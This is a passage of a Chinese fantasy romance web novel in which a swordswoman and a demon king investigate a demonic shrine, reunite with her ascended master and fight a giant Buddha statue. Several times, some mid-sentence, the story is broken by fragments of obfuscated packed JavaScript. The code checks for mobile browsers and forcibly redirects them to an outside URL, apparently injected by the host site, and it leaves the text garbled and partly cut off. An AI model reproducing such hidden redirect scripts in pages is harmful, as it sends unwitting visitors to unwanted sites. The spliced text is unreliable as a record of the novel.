迟迟不见路人,苍名只得故技重施,一剑刺入雪地,冰刃寒光闪闪。默念了半天的传唤法诀,白茫茫大地没有动静。 未辞负手而立,从容不迫地掸了掸肩头的雪,一副芝兰玉树之态:“将军,是在召唤我吗?” 苍名用袖口抹了一把额头的碎发,解释道:“我在召唤这里的本地妖鬼呢。” “是吗。”未辞故作惊讶,声音蛊惑人心,听得苍名都神思不定,“可是这里,恐怕只有属下一个妖鬼呢。” 就在苍名几乎要放弃时,雪幕之后远远地现出一个黑影。那黑影疲惫地踏雪而来,雪地上却没有留下一个脚印。 看清楚那是一只老态龙钟的鬼后,苍名几乎有点后悔把他叫出来。那鬼抬头问:“是谁找我?” 苍名抱歉地说:“故地重游,天翻地覆,一时不知该如何是好,所以想求一位本地人士指点迷津。” “我就是本地鬼,地地道道,土生土长。”那鬼揣着手木然答道。 苍名问道:“不知这一带出了什么事,怎么变得这么荒凉?” 那鬼唉声叹气地说:“此地越来越邪门,民不聊生,十室九空,长腿的都跑了。” “跑去哪里了?”苍名不知说什么是好,“关外虽是苦寒之地,却土壤肥沃,少有灾害,为何都要跑走?” “跑得远的,南下到关内讨生活。跑得近的,去山里打猎采山为生。”老鬼有气无力地答道,“关外今非昔比,像我们从关外死过去的鬼,在阴间倍受歧视,投胎都要一边等着去。” “……” 本地鬼看了他们一眼,叮嘱道:“你们二位不会是准备死在这吧?听我老头子一句劝,千万别来这儿死,能死别处就死别处,死得越远越好。” “……” 未辞在一旁不厚道地笑出了声。苍名对那本地鬼抱一抱拳说:“多谢老人家劝告。那么,这里到底为何衰败至此?” “怎么,你们不知道吗?”本地鬼向着某个方向一指,“自从邪妖恶鬼开了道场,这地方的怨气就越来越重。能去妖鬼座下许愿的人,愿望当然都是见不得光的。” “而他们的怨气,就是献给妖鬼的供奉!”苍名面色严峻,接着他的话说道,“可是我明明记得,这类邪门道场已经废弃了,真是奇怪……” “将军,还记得邪狞吗。”未辞提醒道,“那些东西都是从这类道场里生出来的,而后便满天下流窜。” 那本地鬼说了这几句话,就已经累得气喘吁吁,苍名急忙请他自便了。未辞付了些冥界银票给他,作为向他问路的费用。 临走时,那鬼意味深长地说道:“三界,恐怕要有一场剧变了。” 苍名和未辞踏上冰刃宝剑,穿越风雪,向着道场飞去。未辞心事重重,苍名有所察觉,回头宽慰他说:“你放心,这次我不会再乱跑的。” 未辞站在她身后,用宽阔的后背为她挡住了寒风。他静静地说:“关外寸草不生,荒无人烟,你可想过,是谁放出的焰火信号?” “也许是山里的道士呢?比如老参派那样的名门正派。”苍名思忖着说道,“但我也想过,会不会是妖鬼发出信号引我们过来?毕竟这乱世中还有那么多狂徒逍遥法外……” 未辞忽然伸手圈住她,在她耳边说:“当心。” 鹅毛大雪如同天然的掩护,遮蔽着隐秘的事物。极力辨认,才发现不远处有座缓缓隆起的山峰,山下有一片惨白色的断壁残垣。 两人悄悄降落在一处勉强完整的墙根下,不约而同地蹲低了膝盖。苍名是东躲西藏的老手,带头往里移动。院子中央是一间掀了房盖的破屋子,四面墙参差不齐。 神不知鬼不觉地挪到那破屋的窗下,只听里面有些尖锐的嗓音在互相说着什么。 苍名屏住呼吸细听,只听里面一个人说道:“东南沿海一带的田赋、盐税、杂税一干事情,办得如何了?” 另一个人呱了一声,答道:“该办的都办了。咱们主子的计策顶呱呱,白银如流水,呱呱地进了朝廷的银库,当朝天子一高兴,赏了主子金银若干,又准了不少妖鬼进朝廷做官!” 苍名又惊又疑,和未辞对视一眼。未辞浓眉紧蹙,摇头表示自己此前也并不知道,当朝天子原来和妖鬼密不可分,合起伙来剥削庶民。 先前那个说话的人,得意洋洋地嘎嘎笑道:“要我说,主子比那个天子强多了,我们是主子的部下,我们倒是跟天子差不多地位。” 后一个人连声附和说:“那是自然了,主子可是跟天神都拜了把兄弟,那不是四海之内呱呱叫。” 屋内响起了快活的笑声。这时大雪初停,那两人说:“走吧,还有许多差事要办。” 苍名悄悄张望,却不见鬼影,只有一对乌鸦振翅飞过,谁也看不出这废弃的道场,竟被小喽啰们当成传递信息、沟通三界的所在。 “而三界之间,”苍名站起身来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356350|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着空空如也的屋内,“勾结缠绕,早有串通!” “不错。”未辞背着手淡淡地说,“看起来,这结盟可并非是为了达成契约、换取三界安宁,而是恰恰相反。” 苍名只觉得后背发凉,脑中狂转。半晌才想起来:“对了,方才的两个办事小妖,怎么无影无踪的?” 未辞忍着笑说:“你不是还见到他们的背影了?” 苍名一愣,随即明白过来:“莫非是刚才的两只乌鸦?” 未辞纠正道:“乌鸦精。” “……”苍名愣愣地说,“我知道了,是传音耳环让我听懂了他们的鸟叫!” 未辞轻轻撩起她耳畔的碎发,抚摸着传音耳环,笑而不语。他的指尖划过苍名的耳垂,触感温热而微微粗粝,在苍名心底引起了一阵颤抖。 在未辞的目光笼罩下,苍名转开微微发粉的脸,心神不定地说:“那么,我们就以这道场为原点,向四周搜寻那大鬼头子好了。” 未辞从鼻子里轻轻笑了一声,终于不再捉弄她的耳朵。两人望着远方的山脉,神色凛然,彼此点了点头,就往雪山中一路挺进。 为了掩人耳目,苍名提议乔装打扮,步行进山,装成采山的村姑和农夫。未辞轻咳一声,凉凉地说道:“什么村姑,会在大雪天进山呢?” 苍名恼羞成怒,扭着他的膀子说道:“进山打猎,不行么?”说着便列举家中无米、急需猎食等诸多理由,惹得他忍俊不禁,最后只得投降。 于是未辞辨认方向,苍名持剑警惕着四周动静。万籁俱寂,仿佛低声言语也会引发一场雪崩,于是两人仍旧边走边在脑海中互传音讯。 才上山峰,又下山谷,不知走进山中何处,苍名晕头转向,山里却始终荒无人烟。转过一道山脊,忽然眼前一暗,似是忽然不见天日。 抬头望去,一座通天的佛像立于山巅,遍身落满白雪,仿佛已在此地站了千年。 那身躯如此磅礴巨大,激起了苍名内心对于巨物的恐惧。她急忙双手捂住嘴,才勉为其难地稳住心神,不至于叫出一场雪崩。 未辞的声音传入脑海中:“别怕。” 那尊大佛察觉到有人前来,缓缓俯下身来,湖泊般大小的眼睛盯着二人,苍名又是一个寒颤。 只见大佛缓缓伸出一只虚握着的手,手指一根一根地打开。最后一根指头伸直后,赫然出现原本被挡住的一个小人儿。 佛手平摊,停在半空,苍名才终于看清,那不是什么小人儿,而是老鬼莲的原身。一个破烂的真人大小的布娃娃,脚上穿着血红色绣花鞋,站在佛掌中踉踉跄跄,纸糊的脑袋歪向一边。 老鬼莲被做成了绣鞋僵尸,就和曾经他亲手做出的死尸部下一样。他终于葬送在自己的阴险创造里。 苍名唰地斜斜向下一挥长剑,卷起一地飞雪。未辞此时竟还有闲情逸致称赞道:“原来,这是真正的流风回雪。” 就在这恶战一触即发的时刻,一具冒着金光的身体从天而降,伴随着一声歇斯底里的尖叫:“闪开!” 56. 未央入凡尘 好巧不巧,那金光闪闪的人影砰地一声降落在佛像的脚背上,又立刻被那凸出的石棱硌得跳了起来,顺势几下纵跃,已行至半坡。 而那佛像似乎震怒于有人竟敢重重地跳到自己脚上,怫然甩袖而立,一动不动了。 看清那小金人的一瞬间,苍名的眼睛蓦然睁大了。那是一名年轻的女冠,眼神却又久经世事、洞悉一切,身穿一身朴素的道袍,周身散发着淡淡的晨曦般的光晕。 苍名看了一会儿,震惊地往后一仰:“师父?” 尽管已过了十年,她却无论如何也不会认错,那是雪结未央,忘仙派已故的师祖。 未央猛地转过头来,也看了一会儿,震惊地说:“苍名?” 两人一边嘴里惊呼着哎哟我去,一边跌跌撞撞地跑向对方,最后在山下相会,不约而同地刹住了脚步,隔着两步之遥的距离,伸着脖子互相打量。 未辞:“?” 苍名像做梦一样伸出手,与师祖双手交握,是实实在在的触感。苍名恍然如梦,问道:“师父,你怎么还活着?” “我没死,”师祖拍着她的手说,“我其实是飞升做天官去了。” 此言一出,连未辞也微微吃惊。苍名一把搂住师祖,念及这些年的风霜雨雪,百感交集,几乎热泪盈眶:“师父,你怎么不早点托梦告诉我!” “唉,说来话长了。我当时本就接近功德圆满,又恰好做了顶未央冠,于是被破格升为仙官,不得张扬,假死遁世,实则入天。”师祖云淡风轻地挥了挥手,又指着摇摇晃晃走来的老鬼莲,“这是什么东西?” 未辞踏上一步,将苍名挡在身后,嫌弃地看着老鬼莲,说:“丑死了。”苍名对师祖轻声介绍道:“这是死去的妖身,被做成了邪物。” “妖怪?有趣有趣。”师祖随手从雪地里拔出一根长长的树枝,嗖嗖挽了几个剑花,对苍名笑道,“好多年没有亲自杀妖了,当师祖一点也不好玩,今日我们俩就一起斗斗着妖怪如何!” 苍名也来了兴致,爽快应道:“好!”便随师祖一起,一前一后跃了出去,手引剑诀,二指轻抹冰刃,不忘回头对未辞叮嘱:“我随便杀两下就来,你留意佛像哦,未辞哥哥。” 未辞暗暗手掐法决,只说:“多加小心。” 未央余光瞥见冰刃宝剑,惊奇地说:“你知道这把宝剑的来历?” 苍名已经欺身上前,一剑刺向老鬼莲脚上的绣鞋,同时报喜一般答道:“当然了!师父,我全想起来了,前世我教过你剑法!” 老鬼莲的小腿,以怪异的角度向前弯折,堪堪避开了剑尖,看得苍名头皮发麻。师祖手持树枝,忽点忽刺,一边急攻老鬼莲的纸面,一边兴奋地说:“正是!师父,你终于想起来了!” 苍名一脚踢开老鬼莲伸过来的爪子,奇道:“师父,你怎地好像早就知道我会重拾记忆?” 师祖向老鬼莲直直劈下树枝,却被他打滚避开:“师父,我在天庭里偷看了一本天书,里面模糊记载了你的命格!” “师父,你怎么偷看到的?没有被人抓住吗?”苍名剑尖微动,绕着一双红色绣鞋旋动不止,一时牢牢缠住老鬼莲,使他一头栽倒在地。 “师父,这是重点吗?你是不是该问点别的?”师祖一根树枝直刺入老鬼莲的纸糊头颅中,拍拍手掌说,“好了,今日也算是活动了拳脚,再过瘾些就更好了。” 老鬼莲那颗纸灯笼般的脑袋,被戳出了一道口子。未辞无声无息地走到苍名身边,挥一挥手,老鬼莲脚上的绣花鞋便烧了起来。 火光腾起数丈之高,苍名抱起膀子说:“三位绝世高手在这里,总能制住这布娃娃了吧?” 雪山忽然隆隆颤动,几人只觉得脚下一空。铺天盖地的大雪,从山顶湍急落下,滚滚白烟,如同云海。未辞一把抓住苍名,将她拎到自己怀中。苍名抛出冰刃,两人相拥着跳了上去,未辞面朝前进方向,把控路线,苍名被他紧紧圈住,脸埋在他的胸前。 师祖则周身金光一闪,腾云驾雾飞了起来,大声提醒道:“是雪崩!” 三人匆匆向山外飞去,苍名刚抬起头,就被雪粉冲击得面孔生疼,顿时苦着脸抱怨道:“怎么搞的,是不是师父你说话声音太大了,把雪都震下来了!” 师祖反驳道:“我看是师父你打斗的姿势太猛了,都跟你说过不要那么冲动,要婉约美观一点嘛!” “喂,师父你竟然说我不美观,不如我们来斗舞好了!”苍名照例如同前世一样和未央吵来吵去,长剑猛地向上升起,避开了又一重雪浪。 有一瞬间,苍名忽然看见那尊大佛的一只脚从雪中拔了出来,正要重重跺下去。那只脚上的积雪已经掉落,赫然露出一只巨大的血红色绣花鞋。 接着,滔天大雪吞没了一切。在银白色光芒里,未辞带着苍名穿越瞬移隧道,离开了这片诡秘的山系。 刺眼的光芒退去后,未辞的大手从苍名眼前移开。两人身处一座高台之上,仰观苍天,俯瞰雪原,台下更有各式楼阁,一砖一瓦都十分熟悉。苍名喃喃地说:“这里……是忘仙台!” “不错。”师祖踩着云雾,徐徐降落在二人身边。这一回,她终于有时间仔仔细细、从头到脚地看了一眼苍名,又看了一眼未辞,点头评价道:“师父,你找的这位还算机灵。” 虽然心中有万千疑问,苍名一开口却问:“师父,你既然能腾云驾雾,为什么还会摔下来?” 师祖恼怒地说:“什么摔下来!我怎么会料到山上有座佛像,待到看清时都快落地了,当然刹不住了!” 苍名叹了口气,对未辞一五一十地说:“在山里的最后一瞥,我看见佛像的脚上竟穿着绣花鞋!那佛像故意跺了几下脚,才引出一场雪崩。原来不是老鬼莲操纵着佛像……而是恰恰相反!” 未辞的脸上阴云密布,破天荒地没有回答苍名。苍名若有所思地说:“有段时间,我发疯般地喜欢宏伟的东西。如果那时我听闻大佛、雪海、仙官这类事物,定然会为之折服。可现在却觉得,盛极一时之事,每每也暗藏玄机。” “师父,你可说对了,仙官有什么好。”师祖盘腿坐在忘仙台上,遥望空旷北地,感慨道,“我这次下凡,还是偷着跑下来的。” “……” 师祖招呼苍名与未辞坐下,又从不知何处的酒馆中变来两壶好酒。未辞默默燃起一堆篝火,驱散了苍名的一身寒气。三人围坐在火堆旁,对着冰天雪地饮酒谈心,且听师祖讲述未央之路。 雪结未央当年制出了未央冠,本意是用于降伏恶鬼邪妖。未央冠成了师祖无量功德中的画龙点睛之笔,彰显着远远超出同侪的法力和才干。没过多久,师祖便接了天庭密令,被破格升为仙官。于是师祖假死,将未央冠留在墓中,留待后世有缘人来取之平定四海。而师祖自己腾云而去,位列仙班。 苍名插嘴道:“师父,方才的绣花鞋,就是后世模仿你的未央冠做出来的邪物!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361378|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我的未央冠是道士捉鬼的法宝,戴在妖鬼头上,便能将之驯服,令其从事开矿、务农、冶炼等各类粗活。天下苍生便可一身轻松、不问生计,只谈风花雪月。”师祖苦不堪言,一连喝了两盅,“谁知怎么被民间传成了吸人精气、驱策死人的东西?真是晦气。” 苍名大吃一惊,与未辞对视一眼。未辞却依旧目光沉沉,仿佛苍名是要踏上绝路一般。苍名倒了一杯酒,递到他唇边。他的手覆上苍名的手背,缓缓将酒杯放了下来,满脸心事重重。 师祖只装作没看见小两口的把戏,继续讲了下去。 那日雪结未央本以武神之身飞升,可是到了天庭以后,却很快就被派去兼任文职。再过几天,连解决教派纠纷、跑腿传递文书、整理典籍库这样的杂活也压了过来,根本就是身兼数职,十分琐碎。 师祖也就是借着整理典籍的功夫,无意中翻到了一本天书。这天书里记载了天上地下的诸多豪英,其中就有苍名。 但天书毕竟是天书,语言极其难懂,还经常出现大段大段的空白。师祖琢磨了很多年,终于推测出一段意思。书中说,近十年间天下大乱,三界动荡,将有几位惊天反派横空出世。而这些妖魔鬼怪能否统治天下,苍名就是那个关键。师祖此次逃出天宫,悄悄下凡,正是为助苍名一臂之力。 讲到这里,天地寂静,只有火堆噼啪作响。苍名感激地看着师祖,却对天书中的记载一知半解,苦苦思索半天,问道:“为什么我是关键?” 师祖摇头不语。未辞在这时开口了:“将军,你有没有想过,你可以灭妖鬼,也可以归降于妖鬼,一切只看你的选择。若你能辅佐他们,那么人间再无人能与之抗衡。” 师祖眼睛一亮:“不错!若是师父你成了他们的一员大将,那这群妖鬼岂不是从此无法无天,永生永世长存,连天神来了也没办法!” 苍名忽然全明白了。她看着未辞,未辞也哀伤地看着她,显然想起前世生离死别,生怕她再次浴血奋战。 “一位算命人曾对我说,命理只是无数条分岔路,是无数种可能性。”苍名回忆着李老太太的话,只觉一切发生自有天意,“选择哪条路,只在一念之间。” 未辞声音都沙哑了:“未央冠,只是个幌子罢了。那些废物的真正意图,是借着珠冠挑起四大流派的内斗,趁机暗中屠尽派中弟子,又能顺便嫁祸于你。” “而后他们用未央冠引我暴露,便能劝降……或是除掉我!那么,老鬼莲一定是其中之一了。”苍名恍惚地说,“未辞,你早就猜到了,是吗?” 未辞嗯了一声,垂下眼睛,浓密的睫毛轻轻颤抖着,好像整个人一碰就碎了。 师祖很有眼色地起身说:“你们聊吧。我要下去收拾一下,今晚我们就住这里好了。” 苍名抬起头,迷茫地问:“师父,天书里,我的结局是什么?” 师祖摇头说:“这卷天书没有后文。也可以说,九十九篇都是命运编就,尚有一篇留待你来书写。” “那么,天书是谁写的?”苍名急切地问,“我让他把我写好一点?” “……”师祖笑了一下,“这个,我也不知道。天书从来便存在,从第一位神官飞升入天宫时,典籍库就是现在的样子。神官,也只是天界的喽啰罢了。” 苍名唉了一声,问出最后一问:“真正的未央冠,到底在哪?” 师祖看着她高高的马尾,淡定地说:“未央冠,不就在你的头顶吗?” 57. 天书尚未完 这一晚,苍名和未辞就睡在忘仙源中的一间空屋里。两人只穿着里衣,把外袍披在身上当被子,透过破洞的窗户,望着满天繁星。 苍名枕着胳膊,轻轻问道:“未央冠,是怎么被你找到的?” 未辞戏谑地看了她一眼:“将军不怀疑是我挖坟盗墓了?” “妖王玉树临风,风流倜傥,怎么会做那种事呢。”苍名毫不犹豫地答道,“再说,妖王想要什么,还用得着挖开土么?” 未辞嘴角向上扬起,却还用一副稀松平常的口吻说:“哦,的确,未央冠大概就是被老鬼莲一伙废物挖出来的,我恰好有空,就去十七烟中夺了过来。” 留意到苍名充满感激的目光,他吹了声口哨,闲闲地说道:“诶,将军不必这么崇拜地看着我。即便我不出手,这发冠被争来争去,最后大概也会被送到我古董店来。” “那你的铁甲铜人必定会开出高价,令发冠有进无出了。”苍名想到老鬼莲的主子丢了未央冠,只能搞出一顶仿制的废铁冠,差点笑了出来,“未辞,你从一开始,就把未央冠交给了我吗?” “恩。不过,我可没有骗你。”未辞声音里带着淡淡的笑意,“你闯到古董店来,吵着要找珠冠,珠冠么,可的确没有。” “谁能想到,真正的未央冠原来大道至简,通体纯银,无丝毫装饰。”苍名散着头发,将那枚束发冠牢牢握在手中,“只是上面变出了妖王的图腾,还给施了定位法术,妖王真是好一盘大棋啊。” 未辞也枕着胳膊,仰面看着天花板,一条腿随意地屈起来。他心不在焉地动了动手指,棚顶便消失了,高远星空笼罩小室。 苍名侧卧过来,在星月光芒下凝视着未辞的侧脸。未辞低沉地说:“我怕再次失去你。” “所以,你又想把未央冠还给我,又怕我知道未央冠的秘密后,更加执着于找老鬼莲寻仇。”苍名轻轻碰了一下未辞的脸,“我都明白的。” 未辞仍然看着星星,说:“你,还是会去的,对么。” 苍名拉住未辞的大手,恳切说道:“最初,我的执念是为了自己而成神。可现在老鬼莲一党屠杀四大流派,为了引我露面又不惜发动天灾人祸,已有太多无辜的人丧命,我不能不去平定这一场大乱。” 良久,未辞沙哑地笑了:“我一直想把你藏起来。可如今天机泄露,我终于明白,你的命就是如此,我的命也是如此。” 他终于也侧卧过来,依依不舍地看着她,握住她的手抵在自己心上。苍名说:“未辞哥哥,我一定不会再离开你。况且,天书尚未完。” 未辞这时已明白命运如此,重任难却,于是叹息道:“你该做什么,就去做吧。不论怎样,我都会陪着你。” 苍名一骨碌滚到他的怀抱中,在炙热体温的包围中,强烈的困意袭来。她闭着眼睛说:“明早,再去看大佛……” 未辞冷不防被她扑进来,浑身一阵异样的悸动和燥热。苍名似乎有所察觉,无奈已经半梦半醒,只听见耳边压抑的喘息声,接着是未辞危险的发问:“小姑娘,跑到我怀里做什么,不怕我是坏人?” 苍名说:“太冷了,你这里暖和……”话没说完,便沉沉睡去。隔着薄薄的一层衣服,肌肤骨肉相亲,未辞的手牢牢锁在她的腰间,几乎要把她嵌入自己身体中。 第二天醒来时,屋顶已经被变了回来。屋外日光映照雪地,白茫茫一片耀眼。苍名睡眼惺忪地醒来,发现未辞正垂眼看着自己。 “醒了?”他轻轻拨开苍名脸颊上的碎发,“日上三竿了,不是还去抓鬼吗?” “没关系,他们总会送上门的。”苍名重新把脸埋在他的胸前。屋内的空气寒冷刺骨,而未辞身上还是热的,苍名下意识地蜷缩起双腿,往他身上拱了两下,直拱得他喘息难耐,牙缝里遗落出低沉的呻吟。 身下似乎有一种滚烫坚硬的触感,苍名刚要伸手去摸,未辞就一把捏住她的手,低喝道:“别碰!” 苍名吓了一跳,急忙往后缩回来:“你那么凶干什么,难道是没睡好么?” 未辞翻身仰面躺倒,一只胳膊撂在自己眼睛上,压制着烦闷之意,委屈地嘀咕了一句:“你猜我睡没睡好。” 苍名支起身来,小心地戳了一下他的肩膀:“我们该起床出发了。” 未辞看了一眼,见苍名一头长发如水帘般垂落,立刻又转过头去:“知道了。” 终于,在苍名拾掇妥当、站在门口以后,未辞也磨磨蹭蹭地跟了过来。他看向苍名的眼神里,还残留着深深的克制的情欲。 苍名把未央冠端端正正地戴好,对着结冰的水面照了半天。未辞慢慢走过来,抱着手臂慢悠悠说道:“还照啊?已经够美的了。” “这么简单朴素的发冠,竟被我戴出这么清新脱俗的气派,”苍名趴在冰上左看右看,啧啧称奇,“我果然是忘仙派第一弟子呢。” 未辞扑哧一笑,终于携着她的手走出忘仙源。两人一起踏上冰刃,未辞请示道:“将军,去哪里由你说了算。” “我们还去昨天那尊大佛那里,看看有没有什么线索。”苍名双手捏起法诀,“不知那场雪崩,是不是已经停了。” 顶着刀刃般的寒风飞出数十里,大佛赫然出现在眼前,巨大而怪异,苍名再次不由自主地打了个哆嗦。佛脚着绣鞋,雪海泛蓝光,雪下淹没了多少山峰山谷。 在两人的注视下,佛像一动不动,一手背在身后,一手虚握着伸出来,昨日老鬼莲就是从这里登台亮相,好似戏子名角一般。 苍名侧过头来,和未辞商量道:“不如我们就去那只佛手里探查一番,你怕不怕?” 未辞柔弱地俯身过来靠着她,说:“当然怕了。” “那你别怕。”苍名腾出手来拍了拍他的肩。 “……” 苍名担心佛手中有诈,于是两人落在佛像的臂膀上,缓缓向那只手掌逼近。四周云雾缭绕,苍名一手提剑,在前方开路,时时警惕着周遭动静,一不留神就跑出去几步,未辞立刻纵身跃上来。 苍名扶着佛像的衣褶,步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此言一出,苍名放松下来:“是真的。” 两人并肩走在一起,向云深处走去,希声问:“要去哪里?”苍名苦笑道:“不知。”希声又问:“我怎么来的?”苍名苦笑道:“不知。” 找了一会儿,仍旧没有未辞的影子。苍名看了一眼希声,犹豫着说:“家里,怎么样了?” 希声仰起脸承接雪花,平静地说:“我爹解脱了,魂魄没能渡过那条江。也好,做人做鬼都是受苦,魂飞魄散便从此无恙无虞。” 两人的脚步停住了。苍名一手搂住希声的肩膀,轻轻摇了摇。希声闭上眼睛说:“现在只剩一个老母亲,不知将来是不是也要这样来一遭?” 苍名忽然说:“不如,将伯母接到无律的客栈来,你意下如何?无律回铜铎山重振门派去了,客栈里反正也要我们帮忙的……” 说到这里,忽然有个人从乌漆麻黑中蹦了出来:“喂!” 58. 佛手困三仙 希声二话不说,掏出一张黄符就往那人的脑门上拍去,符纸却一反常态,软绵绵地掉落在地。与此同时,苍名疑惑地说:“无律?” 无律被希声一巴掌拍了个四脚朝天,又被满地积雪冰得嗷嗷叫唤,忍无可忍地大吼一声:“殷希声!” 希声袖手旁观,面无表情地说:“怎么是你?”无律一脸欠揍的表情:“我正在铜铎山击缶作乐,招募弟子,你们怕不是嫉妒本师尊重振雄风,所以把我搞到这……这里怎么是关外?” 苍名捡起掉在雪中的符纸看了看,霍然起身说:“我懂了。”无律本来正和希声嘀嘀咕咕,关心她家事如何,闻言抬头问道:“你又懂什么了?” “这地方,被设了结界,法力和符纸都失效了。”苍名两指夹着那张符纸晃了晃。无律伸出拐棍一试,果然半点法力也无,顿时惊恐地大叫起来。 苍名继续说道:“更诡异的是,这里施了意念传送之术。我方才想到了希声,希声就出现了;又想到无律你,你就出现了。” 无律崩溃地说:“你说你想我做什么,就不能想你的霍贤弟吗?” 希声默默裹紧了衣服,在寒风中打了个哆嗦:“我猜,那位也在这片场子里。同在场子里的人,反而无法找到对方。” “不错!”苍名双手一拍,赞同了一番希声的观点。无律笔直地站着,大声说:“劳驾,能不能冒出一个愿意给我钱的人?” 苍名受到启发,立刻跟着问道:“尊驾能不能立刻让老鬼莲的主子现身?” 佛手中毫无动静。无律又计上心来,机灵地喊道:“让希声的老母亲过来行不行?让老太太跟着希声回逢焉城算了。” 苍名恨不得卷他一脚:“难道让老太太来这鬼地方么?” 希声说:“这地方,不是谁都能被传唤过来,大概只有异能术士能够进入。” 无律遗憾地叹了口气。一时间无处可去,原地打转,苍名将老鬼莲昙花一现、师祖未央偷下凡尘等事一一讲给那两人,直听得那两人嘶嘶吸气。末了,苍名环顾四周,烦恼地捏着眉心:“这地方邪门极了,你们听到周围的低语声了吗?” 三人一肃静,周围的声音就涌了上来。 “我克扣了家丁们的月钱,给老爷包了个青楼头牌,请大人千万保佑此事不要被张扬出来!保佑家丁们都横死,保佑老爷升我为二管家……” “神呐,鄙人是您最忠实的信徒,现在鄙人拦下了造桥修路的银子,求大神给托个梦,指点指点鄙人,如何神不知鬼不觉……” “青天大老爷,那个管事的老东西在我头上作威作福,求您让他死无全尸,越快越好,最好就明天,不,就今晚,我愿献上所有供奉……” …… 希声睁开眼睛,说:“是妖鬼道场。” 苍名猛地醒悟过来:“原来如此!我原本以为那片废弃的道场,是这类鬼怪之物的遗址。但现在看来,真正的道场……就是这只手里!” 希声继续说了下去:“不错。这只佛手不仅收集万千祈愿,更能任意召唤下属现身,比如老鬼莲。” 无律拄着拐棍,到处敲敲打打,问道:“我们真是在一尊大佛上吗?这里是佛手?手指头在哪?” 仿佛是听见了无律的问话,脚下的石掌忽然大动,晃得三人站立不稳。头顶响起咯咯的声音,抬头一看,乱云疾速散开,几根巨大的石头手指正缓缓握下来,似是要把几人捏死在手心。 希声随手就要化出千境琵琶,而后才想起法力已经失效。苍名在雪树森林里经历过此类险情,因此十分沉稳淡定,挥剑劈向那些手指,奈何剑风无力,那几根手指似乎毫无察觉,仍然从高空中缓缓落下来。 无律奋力挥动拐棍,虽然连石手的边也触碰不到,却还是对拐棍爱惜得很:“不要把我的法宝敲坏了!苍姐,想想办法啊!” 苍名焦急地说:“还不知未辞在哪儿,他有没有危险?他岂不是吓坏了?” “……” “我看,直接把这地方砸了,把未辞救出来算了!”苍名一甩手,便仗剑凌空一跃,用最大的力气刺向那几根遥远的石柱手指。 一声巨响,一根手指齐根断裂,轰然坠地,石破天惊,扬起满天雪粉。其余几根手指顿时停住不动了,空中似乎有只眼睛在俯视手心,佛像审时度势,不再轻举妄动。 待到地动山摇停止,希声和无律放下抱头的手臂,向苍名投去钦佩的目光。无律竖起拇指夸赞:“不愧是武仙,硬碰硬也行啊?” 苍名提着剑站在地上,一头雾水地说:“不是我。” 一道银白色身影轻轻落在那跟断指上,如同立在一道山梁上,略显焦急地向四周眺望着。 苍名大喊一声:“未辞哥哥!” 希声和无律顿时露出费解的表情。 苍名已经顾不上许多,伸着双手扑向未辞,浑身上下弥漫着既喜且悲的委屈之意。未辞却比她行动更快,发足狂奔,身形迅猛有力,转眼就冲到苍名面前,一把将她捞进怀里。 “我以为……”未辞的脸色比平时更加没有血色,“我快要恨死我自己……”苍名从他怀中拔出头来,仰面看着他安慰道:“我这次一点事都没有,真的。” 未辞恩了一声,用力抱着苍名单薄的身体,仿佛害怕失去世间最珍贵的事物。无律在后面咂嘴道:“霍贤弟,你是怎么找过来的?这里面不是鬼打墙吗?” 希声冷冷地补充道:“法力也没。” 未辞却像看不见那两人一样,只是用自己的体温让苍名取暖。苍名悄悄问道:“你是怎么找来的?我找了你好久啊!” “我也找了你好久,最后直接打断了佛像一根手指。”未辞轻描淡写地回答道,“趁着结界被打开一道豁口,跟我回去。” 苍名犹豫了一下,大着胆子反对道:“可我们总算追查到一些线索……” 未辞的眼神却是压迫性十足,即便不说话,也让苍名心虚地移开了目光。无律在一旁插嘴道:“我看,还是先回去算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378534|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一会儿法力又没了,你哭都找不着调。” 希声也开口说道:“确实。” 苍名也担心连累几人,便妥协道:“好,那么我们就先回忘仙源!” 希声掏出一张瞬移黄符,无律急忙站到她身边,生怕被落下。未辞照例揽住苍名,带她穿越隧道回到忘仙源中。在消失前的一瞬间,苍名看见那尊大佛伸出背后的那只手,缓缓捡起这只手掌中的断指。在稀薄的日光里,那佛身上散发出奇异的金辉。 